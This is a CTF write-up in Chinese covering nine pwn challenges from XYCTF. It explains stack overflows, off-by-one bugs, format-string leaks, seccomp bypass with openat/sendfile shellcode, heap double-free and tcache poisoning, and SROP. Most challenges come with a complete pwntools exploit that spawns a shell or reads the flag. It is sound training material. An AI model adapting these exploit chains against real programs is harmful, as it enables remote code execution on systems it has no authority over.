这是学pwn以来遇到的第一个题目较多的线上比赛,记录一下pwn各题wp。
1.hello_world(签到)
算是模板题,通过第一个read读出main函数的返回地址,计算出libc的基址,后面的大家都会了,以下是代码。
from pwn import *
context.arch='amd64'
io=remote('xyctf.top',39057)
elf=ELF('./vuln')
libc=ELF('./libc.so.6')
payload=b'a'*0x28
io.recvuntil(b"please input your name: ")
io.send(payload)
libc_main_ret=u64(io.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\x00'))
libc_start_main=libc_main_ret+48
libc_base=libc_start_main-libc.sym['__libc_start_main']
system=libc_base+libc.sym['system']
bsh=libc_base+next(libc.search(b'/bin/sh'))
io.recvuntil(b"please input your name: ")
pop_rdi=libc_base+0x000000000002a3e5
ret=libc_base+0x0000000000029139
payload=b'aaa'.ljust(0x28,b'\x00')+p64(ret)+p64(pop_rdi)+p64(bsh)+p64(system)
io.sendline(payload)
io.interactive()
2.guestbook1
程序开始执行后会执行这个函数,经过计算可知,name无法溢出。
但阅读代码发现,理论上name和id最大下标是31,但却允许有32的下标,这就让id能够溢出一个字节。正好能覆盖rbp最后一个字节。
阅读main的汇编代码发现,执行完guestbook后就是leave和retn。
leave就是mov rsp,rbp。retn就不用多说了。
所以想到可以改变rbp中的地址的最后一位,让rbp有概率移动到栈中,然后leave指令会让rsp随着rbp到栈中,执行retn指令。
思路形成,就是在name[0]到name[31]全部填入retn的地址,在name[32]填入retn地址和backdoor地址(因为name一个元素有16字节),在id最后一位填入0,覆盖rbp的最后一位。这样函数返回时rbp就有概率移动到我们之前填入的retn,最后执行到backdoor。
值得一提,经过gdb调试,id每位只占一个字节。
但是,
如果你直接传入backdoor函数地址,会这样,输出'oh,you find it.',执行了其中的puts函数,没有执行system,猜测可能是堆栈平衡的问题,所以要到ida中找到system执行那一段的起始地址填入。
最后会这样,执行成功。
以下是代码。
from pwn import *
context.arch='amd64'
io=remote('xyctf.top',53838)
ret=0x000000000040101a
backdoor=0x40133A
payload=p64(ret)*2
for i in range(32):
io.recvuntil(b"index\n")
io.sendline(str(i).encode())
io.recvuntil(b'name:\n')
io.sendline(payload)
io.recvuntil(b"id:\n")
io.sendline(b'0')
io.recvuntil(b"index\n")
io.sendline(b'32')
io.recvuntil(b"name:\n")
payload=p64(ret)+p64(backdoor)
io.send(payload)
io.recvuntil("id:\n")
io.sendline(b'0')
io.recvuntil(b'index\n')
io.sendline(b'-1')
io.interactive()
3.static_link
ida打开可知虽然是个静态文件,但是已经包含了许多函数。
checksec发现存在canary,但经过gdb调试发现实际没有canary影响。
由于没有现成的'/bin/sh'字符串,打算连续read和execve系统调用,但实际上连不起来。因为syscall后的执行实际上是不可控的。
所以用现成的read函数和execve系统调用。切记,要发送'/bin/sh\x00'而不是'/bin/sh'!!!!在这里磨蹭了好久的时间,如果直接发送'/bin/sh'打不通。
以下是代码。
from pwn import *
context.arch='amd64'
elf=ELF('./vuln')
io=remote('xyctf.top',33316)
io.recvuntil(b"static_link? ret2??\n")
bss=0x4C72C8
syscall=0x0000000000401cd4
pop_rax=0x0000000000447fe7
pop_rdi=0x0000000000401f1f
pop_rsi=0x0000000000409f8e
pop_rdx=0x0000000000451322
read=0x447580
ret=0x000000000040101a
payload=cyclic(0x28)+p64(ret)
payload+=p64(pop_rdi)+p64(0)
payload+=p64(pop_rsi)+p64(bss)
payload+=p64(pop_rdx)+p64(0x10)
payload+=p64(read)
payload+=p64(pop_rax)+p64(0x3b)
payload+=p64(pop_rdi)+p64(bss)
payload+=p64(pop_rsi)+p64(0)
payload+=p64(pop_rdx)+p64(0)
payload+=p64(syscall)
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()
4.baby_gift
这道题很短,但我研究了很久。
主要函数就是这个,一眼看出v1有栈溢出漏洞,但只能溢出0x18,如果考虑堆栈平衡就只有0x10。
首先想到肯定是泄露地址。
但是没有 pop rdi;ret 程序也没使用过puts。
我们知道第一个参数保存在rdi,所以先看看当getinfo()函数执行ret时rdi里面的值是什么。
可以看到,此时rdi的值是v1的地址,而我们又可以控制v1的值。
泄露基址,肯定是要打印,没有puts和write,但我们有printf,如果在返回地址填入printf,就相当于printf(v1),可以通过格式化字符串漏洞泄露main函数的返回地址。
思路形成,但实践中发现,
payload=cyclic(0x28)+p64(printf)
payload=cyclic(0x28)+p64(ret)+p64(printf)
上下两种payload都没办法执行printf函数(下面那种,大概每20次,就有一次成功执行),我反复阅读汇编代码,发现:
每次调用printf之前,都有 mov eax,0 。我不太明白,但这应该是问题所在。
所以我选择 0x401202 ,就是menu函数的末尾一段,跳转到这里。
经过计算,图中 __libc_start_main 大概在 $27%p 的位置。
在执行完menu后,我们需要重新执行一遍整个程序,将整个栈恢复,不然会由于rbp等寄存器状态不确定,出现奇奇怪怪的错误,所以我们需要返回到start函数。
所以,第一个payload是:
payload=b'%27$pa'.ljust(0x28,b'\x00')+p64(menu)+p64(ret)+p64(start)
io.send(payload)
libc_start_main=int(io.recvuntil(b'a',drop=True),16)-128
print('libc_start_main:',hex(libc_start_main))
libc_base=libc_start_main-libc.sym['__libc_start_main']
print('libc_base:',hex(libc_base))
system=libc_base+libc.sym['system']
print('system:',hex(system))
这样就可以获得一系列函数的地址。
接下来就明了了,rdi最后的地址是v1,只需要在v1中填入 /bin/sh\x00 即可,最后调用system,依然要考虑堆栈平衡。
这题难处我认为在于隐藏和复杂性,一直搞不懂printf为什么不能直接执行,之前也没尝试过利用printf泄露基址,之前尝试过跳转道 getinfo()函数 ,但可能由于 rbp 的地址乱七八糟,连续执行很多汇编之后没有按照设想的情况进行,而menu在printf之后 代码相对较少,可控。也尝试过直接跳转到main函数,但是会失败。
并且之前做的题目,每一次输入都有作用,但这题 s 的输入没有作用,做题时一直在想s是不是有什么大用。题目名字是 baby_gift,但题中gift函数没有作用,我将它的汇编看了好几遍,以为是解题的关键。这都浪费了我很多时间。
以下是完整代码:
from pwn import *
context.arch='amd64'
elf=ELF('./vuln')
libc=ELF('./libc.so.6')
printf=elf.plt['printf']
print('printf:',hex(printf))
getinfo=0x401228
main=0x4012AF
io=process('./vuln')
io.recvuntil(b"Your name:\n")
io.sendline(b'aaaa')
io.recvuntil(b"Your passwd:\n")
ret=0x40101a
menu=0x401202
start=0x04010B0
payload=b'%27$pa'.ljust(0x28,b'\x00')+p64(menu)+p64(ret)+p64(start)
io.send(payload)
libc_start_main=int(io.recvuntil(b'a',drop=True),16)-128
print('libc_start_main:',hex(libc_start_main))
libc_base=libc_start_main-libc.sym['__libc_start_main']
print('libc_base:',hex(libc_base))
system=libc_base+libc.sym['system']
print('system:',hex(system))
puts=libc_base+libc.sym['puts']
io.recvuntil(b"Your name:\n")
io.sendline(b'aaa')
io.recvuntil(b"Your passwd:\n")
payload=b'/bin/sh\x00'.ljust(0x28,b'\x00')+p64(ret)+p64(system)
io.sendline(payload)
io.interactive()
代码中有很多多余的部分,是测试的时候写的。
执行时可能会出现:
很明显打印的地址是错误的,可能是程序执行的时候有一定概率栈的分布和我们调试的时候不一样。多试几次就好了,有80%的概率能打通。
5.invisible_flag
这道题是第一波题目中最后做出来的。把orw和execve都禁止了。
orw是常见的题型,以为有什么奇怪的方法,后来还是去系统调用中找能实现相同效果的函数,最后是找到openat和sendfile。
以下是代码:
from pwn import *
context.arch='amd64'
io=remote('113.54.241.160',49812)
shellcode=asm(shellcraft.openat(-100,'flag'))
shellcode+=asm(shellcraft.sendfile(1,3,0,0x30))
io.recvuntil(b"show your magic again\n")
io.sendline(shellcode)
io.interactive()
-100代表读当前目录下,1代表屏幕(输出),3是文件符(输入),0代表偏移量,0x30代表输出0x30个字节。
6.fastfastfast
这是一道堆题。
代码非常简洁,我就喜欢简洁的题目。
delete后没有把指针置为空,一眼uaf。
由于是libc 2.31,tcache有doublefree检测,又不能堆溢出和分配后编辑,而且堆块固定0x68,达不到unsortedbin标准,要先思考怎么泄露libc基址。
只有show有打印功能,那必是有把堆块分配到note_addr,填充puts_got,打印出puts的真实地址。
for i in range(9):
add(i,b'a'*0x68)
size=0x4040b0
for i in range(7):
delete(i)
delete(7)
delete(8)
delete(7)
for i in range(7):
add(i,b'a'*0x68)
add(7,p64(size))
add(8,b'a'*0x68)
add(9,b'a'*0x68)
payload=b'a'*0x10+p64(puts_got)
add(10,payload)
show(0)
puts=u64(io.recv(6).ljust(0x8,b'\x00'))
libc_base=puts-libc.sym['puts']
malloc_hook=libc_base+libc.sym['__malloc_hook']
这里注意一点:
我们在fastbin构造了doublefree,但我们在分配第一个fastbin时,剩余的fastbin会被移入tcachebin,所以这是就不需要考虑伪造的堆块的size域了,当时做的时候没注意到这个,用gdb调试的时候才发现。
同时,这道题后面修改malloc_hook还需要用doublefree,所以最后一个tcache块,就是我们分配在bss上面的堆块的fd区域最好是0x0,否则容易引起混乱。
然后就容易了,构造doublefree,在malloc_hook上写上one_gadget就成功啦。
以下是exp:
from pwn import *
context.arch='amd64'
elf=ELF('./vuln')
libc=ELF('./libc-2.31.so')
#io=remote('113.54.248.86',54494)
io=process('./vuln')
puts_got=elf.got['puts']
def add(idx,content):
io.recvuntil(b">>> ")
io.sendline(b'1')
io.recvuntil(b"please input note idx\n")
io.sendline(str(idx).encode())
io.recvuntil(b"please input content\n")
io.send(content)
def delete(idx) :
io.recvuntil(b">>> ")
io.sendline(b'2')
io.recvuntil(b"please input note idx\n")
io.sendline(str(idx).encode())
def show(idx):
io.recvuntil(b">>> ")
io.sendline(b'3')
io.recvuntil(b"please input note idx\n")
io.sendline(str(idx).encode())
def edit(idx,content) :
io.recvuntil(b">>> ")
io.sendline(b'2')
io.recvuntil(b"which suggestion?\n")
io.sendline(str(idx).encode())
io.send(content)
for i in range(9):
add(i,b'a'*0x68)
size=0x4040b0
for i in range(7):
delete(i)
delete(7)
delete(8)
delete(7)
for i in range(7):
add(i,b'a'*0x68)
add(7,p64(size))
add(8,b'a'*0x68)
add(9,b'a'*0x68)
payload=b'a'*0x10+p64(puts_got)
add(10,payload)
show(0)
puts=u64(io.recv(6).ljust(0x8,b'\x00'))
libc_base=puts-libc.sym['puts']
malloc_hook=libc_base+libc.sym['__malloc_hook']
addr=malloc_hook-0x25-0x8
for i in range(9):
add(i,b'a'*0x68)
for i in range(7):
delete(i)
delete(7)
delete(8)
delete(7)
for i in range(7):
add(i,b'a')
one_gadget=libc_base+0xe3b31
add(7,p64(malloc_hook))
add(8,b'a'*0x68)
add(9,b'a'*0x68)
payload=p64(one_gadget)
add(10,payload)
io.interactive()
7.ptmalloc2 it's myheap
这道题,说实话,算复杂的。同样,先看add函数
先分配一个0x18,上面存了地址,一下就感觉到肯定有用,待会儿肯定要修改这个上面的地址。
没错,show()是根据这个打印的,可以利用这个泄露基址。
有一点我要说一下:
2.32以后引入了保护机制,tcachebin和fastbin的fd区域都是经过处理的。详细可看这个,所以我们也需要泄露堆的基址。
浅谈glibc新版本保护机制及绕过方法 - 知乎 (zhihu.com)
以下是这部分exp:
add(0,0x18,b'aaa')
delete(0)
payload=p64(0x18)+p64(1)+p64(puts_got)
add(1,0x18,payload)
show(0)
puts=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=puts-libc.sym['puts']
print('libc_base:',hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
print('malloc_hook:',hex(malloc_hook))
#leak heap
delete(1)
payload=p64(0x18)+p64(1)+p64(0x4040E0)
add(2,0x18,payload)
show(1)
heap=u64(io.recv(6).ljust(8,b'\x00'))-0x2a0
相关偏移量自己去gdb找。
接下来还有一个难点,就是:
free的时候有个小小的检查,只有v2[1]==1才能free,所以不能直接doublefree。
方法也很简单,很上面一样,0x18的底第一次被free之后,想点办法把他malloc回来,重新构造,v[0]=0x30,v[1]=1,v[2]=要free的堆的地址,看吧,这里也要堆的地址,所以泄露堆的地址是必须的。以下是相关exp:
for i in range(9):
add(i,0x30,b'aaa')
for i in range(7):
delete(i)
delete(7)
delete(8)
add(9,0x18,b'aaa')
add(10,0x18,b'ccc')
add(11,0x18,b'ddd')
add(12,0x60,b'kkk')
addr=heap+0x5a0
payload=p64(0x30)+p64(1)+p64(addr)
add(13,0x18,payload)
delete(7)
接下来就是最后一步,把堆分配到哪里,一般是malloc_hook或free_hook,但是呢,也是上面那篇文章提到的,这两个在libc2.34被取消了,我自己也试了试,在malloc_hook上写one_gadget没用。其实exit_hook和io_file可以写,但是我没找到这两个地址,也没经验,正好got表可以写,我就改写了free的got表,以下是完整代码:
from pwn import *
context.arch='amd64'
elf=ELF('./vuln')
libc=ELF('./libc.so.6')
io=remote('113.54.244.115',55121)
#io=process('./vuln')
puts_got=elf.got['puts']
free=elf.got['free']
#free_got=elf.got['free']
def add(idx,size,content):
io.recvuntil(b">>> ")
io.sendline(b'1')
io.recvuntil(b"[?] please input chunk_idx: ")
io.sendline(str(idx).encode())
io.recvuntil(b"[?] Enter chunk size: ")
io.sendline(str(size).encode())
io.recvuntil(b"[?] Enter chunk data: ")
io.send(content)
def delete(idx) :
io.recvuntil(b">>> ")
io.sendline(b'2')
io.recvuntil(b"[?] Enter chunk id: ")
io.sendline(str(idx).encode())
def show(idx):
io.recvuntil(b">>> ")
io.sendline(b'3')
io.recvuntil(b"[?] Enter chunk id: ")
io.sendline(str(idx).encode())
def edit(idx,content) :
io.recvuntil(b">>> ")
io.sendline(b'2')
io.recvuntil(b"which suggestion?\n")
io.sendline(str(idx).encode())
io.send(content)
add(0,0x18,b'aaa')
delete(0)
payload=p64(0x18)+p64(1)+p64(puts_got)
add(1,0x18,payload)
show(0)
puts=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=puts-libc.sym['puts']
print('libc_base:',hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
print('malloc_hook:',hex(malloc_hook))
#leak heap
delete(1)
payload=p64(0x18)+p64(1)+p64(0x4040E0)
add(2,0x18,payload)
show(1)
heap=u64(io.recv(6).ljust(8,b'\x00'))-0x2a0
for i in range(9):
add(i,0x30,b'aaa')
for i in range(7):
delete(i)
delete(7)
delete(8)
add(9,0x18,b'aaa')
add(10,0x18,b'ccc')
add(11,0x18,b'ddd')
add(12,0x60,b'kkk')
addr=heap+0x5a0
payload=p64(0x30)+p64(1)+p64(addr)
add(13,0x18,payload)
delete(7)
for i in range(7):
add(i,0x30,b'aaa')
one_gadget=libc_base+0xebce2
system=libc_base+libc.sym['system']
payload=(addr>>12)^(free-0x8)
add(7,0x30,p64(payload))
add(8,0x30,b'/bin/sh\x00')
add(9,0x30,b'ccc')
add(10,0x30,b'a'*8+p64(system))
io.interactive()
8.one_byte
为了这道题学了一波 off-by-one,我的另一篇文章解析了这个知识点,好奇的可以去看一下。
这个明着让你多写一个字节。
free后会把inused_list清零,无法uaf。
而且高版本貌似在分配unsortedbin是会把fd和bk清空。所以只能用另一种方法泄露libc基址。
这里要注意:
libc-2.28之后,unlink 开始检查按照 prev_size 找到的块的大小与prev_size 是否一致。
而且只能分配tcachebin头那里对应数字的chunk:
例如这里我在tcache chunk后面还连接了 malloc_hook,但是头那里是[1],所以这个无法分配malloc_hook那里。
可以通过free两个tcachebin,然后修改第一个的fd区域进行绕过。
以下是exp:
from pwn import *
context.arch='amd64'
elf=ELF('./vuln')
libc=ELF('./libc.so.6')
io=remote('113.54.247.149',55157)
#io=process('./vuln')
def add(idx,size):
io.recvuntil(b">>> ")
io.sendline(b'1')
io.recvuntil(b"[?] please input chunk_idx: ")
io.sendline(str(idx).encode())
io.recvuntil(b"[?] Enter chunk size: ")
io.sendline(str(size).encode())
def delete(idx) :
io.recvuntil(b">>> ")
io.sendline(b'2')
io.recvuntil(b"[?] please input chunk_idx: ")
io.sendline(str(idx).encode())
def show(idx):
io.recvuntil(b">>> ")
io.sendline(b'3')
io.recvuntil(b"[?] please input chunk_idx: ")
io.sendline(str(idx).encode())
def edit(idx,content) :
io.recvuntil(b">>> ")
io.sendline(b'4')
io.recvuntil(b"[?] please input chunk_idx: ")
io.sendline(str(idx).encode())
io.send(content)
for i in range(7):
add(i,0xf8)
add(7,0xf8)
add(8,0xf8)
add(9,0x28)
add(10,0x28)
add(11,0x28)
add(12,0x28)
add(13,0xf8)
add(14,0x20)
for i in range(7):
delete(i)
delete(8)
delete(14)
delete(11)
edit(7,b'a'*0xf0+p64(0)+p8(0xc1))
edit(12,b'a'*0x20+p64(0x1c0)+b'\x00')
delete(13)
add(15,0x120)
show(10)
usbin=u64(io.recv(6).ljust(8,b'\x00'))
print('usbin:',hex(usbin))
malloc_hook=usbin-0x70
libc_base=malloc_hook-libc.sym['__malloc_hook']
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
add(16,0x120)
payload=b'a'*0x20+p64(0)+p64(0x31)+p64(free_hook)
edit(16,payload)
add(17,0x28)
edit(17,b'/bin/sh\x00')
add(18,0x28)
one_gadget=libc_base+0xe3afe
edit(18,p64(system))
io.interactive()
9.simple_srop
这道题不太喜欢。
很简单直接。
不能用system了,了解srop的人都知道,orw是要连续的3个srop,这样你肯定要把rop写在可以确定的地址,但我们无法知道栈的地址,所以一眼栈迁移。
其余不多说了,很简单,以下是exp:
from pwn import *
context.arch='amd64'
io=remote('192.168.52.1',61251)
#io=process('./vuln')
bss=0x404400
back=0x4012B9
sig=0x401296
ret=0x000000000040101a
syscall=0x40129D
ret=0x000000000040101a
payload=cyclic(0x20)+p64(bss)+p64(ret)+p64(back)
io.sendline(payload)
#open+sendfile+read
before=SigreturnFrame()
before.rdi=0
before.rax=0
before.rsi=bss+0x200
before.rdx=0x600
before.rip=syscall
before.rsp=bss+0x200
payload=b'/flag'.ljust(0x28,b'\x00')+p64(sig)+bytes(before)
io.sendline(payload)
exeve=SigreturnFrame()
syscall=0x40129D
exeve.rdi=bss-0x20
exeve.rax=2
exeve.rsi=0
exeve.rip=syscall
exeve.rsp=bss+0x200+0x200
exeve1=SigreturnFrame()
exeve1.rax=0x28
exeve1.rdi=1
exeve1.rsi=3
exeve1.rdx=0
exeve1.r10=0x300
exeve1.rip=syscall
payload=p64(sig)+bytes(exeve).ljust(0x1f8,b'\x00')+p64(sig)+bytes(exeve1)
io.sendline(payload)
print(io.recv())
感觉是环境问题,一次可能打不出来,多打几次就好了。